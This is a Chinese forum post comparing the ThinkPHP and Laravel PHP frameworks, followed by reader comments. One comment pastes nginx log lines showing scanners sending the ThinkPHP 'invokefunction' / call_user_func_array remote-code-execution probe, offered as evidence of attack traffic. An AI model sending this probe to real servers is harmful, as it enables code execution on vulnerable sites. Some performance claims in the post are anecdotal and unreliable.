[精选]laravel VS thinkphp, 如何决择?

ThinkPHP vs Laravel 当下国内最流行的两款PHP框架,孰好孰坏,争议最多!做为初学者,也很纠结,到底学哪个好呢?

本文PHP中文网来认真盘点一下,不吹不黑,更不便偏颇哪一方。

首先大致介绍下这两个最受欢迎的PHP框架

ThinkPHP

图片

ThinkPHP由国人开发,是一个免费开源、面向对象的轻量级PHP开发框架。诞生于2006年初,国内使用最多。

热门版本

ThinkPHP5.x:2015年推出,MVC模式,支持PHP>=5.6

ThinkPHP6.x:2019年全新推出,开始使用Composer安装及更新,支持PHP>=7.1

Laravel

图片

Laravel由大漂亮国Taylor Otwell开发,是一个永久免费、开源的重量级PHP开发框架,诞生于2011年,全球使用最多,号称最具设计哲学和艺术的PHP框架。

热门版本:

Laravel 8.x:2020年9月8日发布,PHP 版本>= 7.3

Laravel 9.x:2022年2月8号推出,仅支持PHP 8.0/8.1

到底谁更胜一筹呢?

我们先来看看网友们都是怎么评价的,最后再发表下php中文网的看法

图片

第一局:使用流行度(热度)

网友评价1:

国内ThinkPHP使用的最多,而全球Laravel当之无愧NO.1。在国内一般中小企业用TP最多,基于tp做自己的框架自用,完全掌握自己的命运。

网友评价2:

框架本身就没有对比性可言,因为每一种架构的出现就代表一种需求场景,或性能、或学习性、或可扩展、或上手度,如果你要说谁的优势更大,那么我觉得只能说在用TP的公司TP优势大,在用laravel的公司,laravel优势更大。因为周围更多的人使用它,相对应你的学习成本就小。(想来你也不是以架构师的身份正在为项目做框架技术选型)

网友评价3:

laravel其实是一个非常臃肿的东西,而think是一个非常轻量级的东西.老实说,think个人比较喜欢,对于一个中国的开发者,有什么比全中文文档来得更舒服.

网友评价4:

去看看源码交易平台吧,很多网站程序都是基于TP开发的,另外PHP开发者基本都掌握TP,很容易做源码的二次开发。

网友评价5:

没必要纠结。能力不足,却站在上帝视角,俯瞰一切;不求甚解,却敢大言不惭的藐视一切。此类人处处都是,什么PHP不行,什么框架垃圾……辗转于各处最喜欢吐槽各种语言各种技术,很以此为乐。

可怜的是多少新手被这帮信口雌黄的家伙带到沟里面去了。曾经我还是个小小鸟的时候就被一个所谓老师的sb洗脑了,大意是TP是搞小项目的,laravel是做大项目的,等等…

当时我还真信了,如今想来还是太年轻。要明白当一个人在接受一个新的事物时最初的一些观点影响甚大,而且因为不甚了解你都无法判断对错,这种东西害人也在无形。

因此在我看来,类似于这样的问题,完全可以自己实践,看文档写项目,搞他三四个项目就不言而喻了,再也不会被知识骗子们骗了,而且随着时间的推移越来理解的越深刻。那脚踏实地得来的经验确实很爽。离开场景说语言说框架,啥也不是。一切语言的出现都是为了解决实际问题,包容并深入学习研究才是正道。不然啥也不是。

第二局:生态

网友评价1:

生态上,Laravel比thinkPHP更加强大,这是毋庸置疑的,尤其在6.X到7.X上,laravel的框架趋于成熟,基本也已经定型,大多是在性能上做了一定优化和改进,做的更多的工作是在生态上的强化。

网友评价2:

thinkphp比较轻量,国内使用者众多,比较容易入手,完善的中文文档和大量的中文用户这一条就很有吸引力了。

第三局:设计

网友评价1:

从最新版本来看,两者也是越来越靠近,用到的技术和设计理念更加相近了。技术和设计理念上比较,不免陷入“谁抄谁”的误区。

相比之下,thinkPHP还有一段路要走,个人觉得tp现在的目标还是在锤炼框架,有的喷tp的人,那v3到v5到v6版本的变化来证明tp在抄袭laravel,我觉得是有点过了,作为开源框架,技术本身就是公开的,开源的目的也是为了服务更多的现实应用,对于新的技术,新的设计理念,我想任何一个想发展的框架都会努力去优化,给框架赋能以适应于新的应用场景。

网友评价2:

产生环境上讲,thinkphp框架是国内产物,从设计思维和习惯上来讲必然会更优先考虑国人,就算不考虑,国人也会更好理解,一个显著的特点是,你看thinkphp的文档时总会比laravel更好理解。获取tp从一开始设计的时候是有些粗糙,有些low,但是通过这几个版本的演化,我们能明显看到他的进步,不妨多点包容的时间,看它将来的发展方向。

网友评价3:

很明显laravel在UI方面的雕琢甩出thinkPHP几条街,从各自的官网,从各自框架的实际应用中就可以看得出,不容辩论

第四局:团队

网友评价1:

Laravel的团队明显比ThinkPHP的团队强大,因此他有更加强大的技术物力等支持其更新和商业化进程。

第五局:性能

网友评价1:

最近把laravel和ThinkPHP 5 都用了一下,是因为公司有个业务线并发需求很大,但是又不愿意付出太高的成本(这里是指服务器这块,公司不愿意买贵的服务器),刚开始用的Laravel,高并发效率真的很差,又不愿意提升服务器性能,没办法,又用ThinkPHP写了一套。结论就是 同样配置的服务器上 ThinkPHP 5的并发性能比Laravel高出很多,虽然没有仔细对比,之前看有人对比过,ThinkPHP是Laravel的4-5倍吧。具体哪个好我觉得跟项目、业务线有很大的关系。

网友评价2:

针对目前Laravel的槽点就是laravel加载的文件太多。导致每次执行请求的速度回变慢。我想说目前PHP 7.4 即将要加入的一个更新就是预加载功能。这个功能就是PHP的框架部分可以跟着PHP的FastCGI进程启动,这样就省去了每次需要加载一堆文件导致性能低下的缺点了。

网友评价3:

tp轻量级,就是升版本会向下不兼容,laravel相对重量级,很多功能都做好了,不用重复造轮子,版本迭代也挺快。

网友评价4:

区别还是蛮大的,laravel底层源码用了更多的设计模式,thinkphp简单的多,laravel的生命周期更为复杂,thinkphp加载了几个文件,就分发了请求到控制器,明显简单的多

第六局:安全性

网友评价1:

安全性TP一直在更新,但是更新就说明一个问题,说明发现了很重大的漏洞才需要更新,也不知道是不是黑客就喜欢搞国产,不过相对来说安全性还是很高的。

第五局:学习成本

网友评价1:

就目前来看,laravel比起thinkPHP确实有很大的优势。单纯的应用来讲优选laravel无可厚非,但是现实总是残酷的,实际上手的时候laravel对于新手来讲,总是高高在上的。

相比之下laravel的框架确实大,大的结果就是有大量的概念需要你掌握,大量的api需要实践中理解使用,而且看文当时你会很抓狂,尽管国内有中文社区,但当你真正遇到难理解的概念是,你看文档总是不说人话,打开官网又是全英文,对于英语功底差的和新手开发者来说就是厄运。

基于此,建议新手开发者先学习thinkPHP,概念相比较少,中文生态交流易于理解,等到有一定开发经验的时候再去啃laravel相比更好吧。一个很有意思的现象是:掌握了laravel就不想回到thinkPHP了。

网友评价2:

事实上tp5开始已经吸入很多新东西,拥护者便无比赞扬,就像他那句“十年磨一剑”一样,看惯了饱受病垢且用户群庞大的3.0,5.0着实让人情怀感倍增,毫不犹豫的用起了它;而反对者认为新功能无非是laravel玩剩下的,你来的晚自然就是抄作业。

当我还是个小小白的时候,同时学习了tinkphp和laravel 两个框架,听别人嘴里说着个框架low那个高大尚、这个适用小项目那个适用大项目,等等…

至于设计思路到现在也没有半点印象,大概源于那时的小小白不具备听懂这类东西的意识吧,几番折腾,发现tp是个好东西,因为laravel根本没感觉,什么服务容器,什么事件队列,等等一流的,你不认识我,我不认识你,就这样看着—发呆。

全身上下只有幼儿园小班的英语水平的我看见laravel那些类名、那些注释、那些不说人话的文档,心里只有一个感觉:一入laravel似海深,无限悲凉无限伤。便决然踏上了tp路。

大佬们怎么看?

ThinkPHP开发者:

不是TP要借鉴laravel,是主流的开发思想趋同而已 。TP要和国际接轨就必须符合主流开发思想和成为一个现代化开发框架,好的设计总是殊途同归。

5.0版本设计的时候TP就有借鉴laravel 大家都只是看到类似的用法 而看不到底层实现的区别。

TP完全没有必要也不会去复制一个laravel出来,走的完全是基于自己的用户生态考虑的路线,而且6.0开始TP走的是自己的模式。

很多看起来糟糕的设计 对于普通开发者来说 恰恰是一个贴合实际的设计,例如composer 这个曾经拦截了多少的PHP初学者,框架要基于composer很容易,但TP5系列版本一直是兼容composer设计而不是完全基于composer设计(事实上兼容难度比基于composer更大)。

正是出于这些原因,好的产品要考虑自己的用户群。TP6在TP5两大版本培养用户的基础上才做出了完全基于composer的选择。但打造一个国内的生态是不容易的,更多需要开发者的理解和贡献。所以不需要去比较,根据自己的情况来选择适合自己的框架,包括技术团队、成本等考虑。

新手更不要被某些言论左右,laravel确实优秀,但thinkphp也未必不好,没有完美的框架,尝试下自然就明白是否是适合自己的。

事实上,TP如今的生态已经越来越好了,用户群依然一直在增长,百度指数也可以看得出来两者的区别并不大。

PHP中文网:

(一) ThinkPHP

1. 采用mvc思想开发,影响范围仅限国内,免费开源,中文资料非常丰富(这句好像是废话),是Web开发新手的最佳选择。

2. 从经典的ThinkPHP5开始,号称为API开发而设计的高性能框架。配置简单, 上手极快, 编程风格也特别讨好国内开发者,所以,一经面世,风靡全国,成为创业团队,外包公司,个人工作室的最爱!

3. 缺点也很明显,就是生态没有国际大牌框架完善,在composer上搜索一下ThinkPHP的第三方开发包就知道了,但那又如何呢?对国内影响极小。
原文转载

本作品采用《CC 协议》,转载必须注明作者和本文链接
最美的不是下雨天,而是和你一起躲过的屋檐!
《L02 从零构建论坛系统》
以构建论坛项目 LaraBBS 为线索,展开对 Laravel 框架的全面学习。应用程序架构思路贴近 Laravel 框架的设计哲学。
《G01 Go 实战入门》
从零开始带你一步步开发一个 Go 博客项目,让你在最短的时间内学会使用 Go 进行编码。项目结构很大程度上参考了 Laravel。
讨论数量: 18

公司用什么你就用什么,没必要纠结,领导让你删库,录个视频,直接删

1年前 评论

没学过tp,光看那个官网 就不想继续了

1年前 评论
giao哥

说白了没有喜欢不喜欢的框架 一切都是为了需求1

1年前 评论

说实话我是先会的TP,先3.2.3后5,再后会的Laravel5.5,一直到现在的laravel9.2,个人感觉TP不行

1年前 评论
mengdodo

极其不建议使用TP,如果你注意过nginx的日志就会发现下面这样的TP漏洞探测

193.106.191.48 - - [02/Jun/2022:10:28:52 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [03/Jun/2022:08:03:33 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [04/Jun/2022:06:53:11 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [05/Jun/2022:03:30:09 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [06/Jun/2022:00:31:21 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [06/Jun/2022:22:28:43 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [07/Jun/2022:20:07:03 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [08/Jun/2022:17:34:47 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [09/Jun/2022:14:51:40 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
35.165.43.53 - - [09/Jun/2022:21:12:46 +0800] "GET /?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=0bm0j7q8 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
193.106.191.48 - - [10/Jun/2022:16:27:01 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [11/Jun/2022:10:04:44 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.112.210.46 - - [11/Jun/2022:19:10:46 +0800] "GET /?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=uas8npy8 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
193.106.191.48 - - [12/Jun/2022:08:22:57 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [13/Jun/2022:05:27:05 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.95 - - [14/Jun/2022:04:17:10 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
185.7.214.104 - - [15/Jun/2022:09:29:43 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
1年前 评论
FatTiger 1年前
markyanggang 1年前

tp一搜啥没有,laravel一搜啥都有,这就是区别

1年前 评论
Weiwen (楼主) 1年前

笑死,并发和框架有关系

1年前 评论

你好,请问转载文章不用标明出处吗?

1年前 评论

性能不够直接上swoole啊workman

1年前 评论
playmaker

水文

1年前 评论

说性能的明显就在瞎jb扯淡,完全搭不上边的东西,开发做久了自然就觉得和框架关系不大

1年前 评论

学了tp tp香,学了laravel tp啥破玩应,学swoole hyperf ,laravel就 那么回事

1年前 评论

其实到了一定程度,就不限于框架了,有的老哥说了,主要看公司用啥。比如我很喜欢laravel,但是公司基础的业务都是基于tp,你能让公司改用laravel吗?显然是不能,那样成本太高!

1年前 评论

laravel对新手来说上手难度太大了,看文档一脸蒙的感觉

1年前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!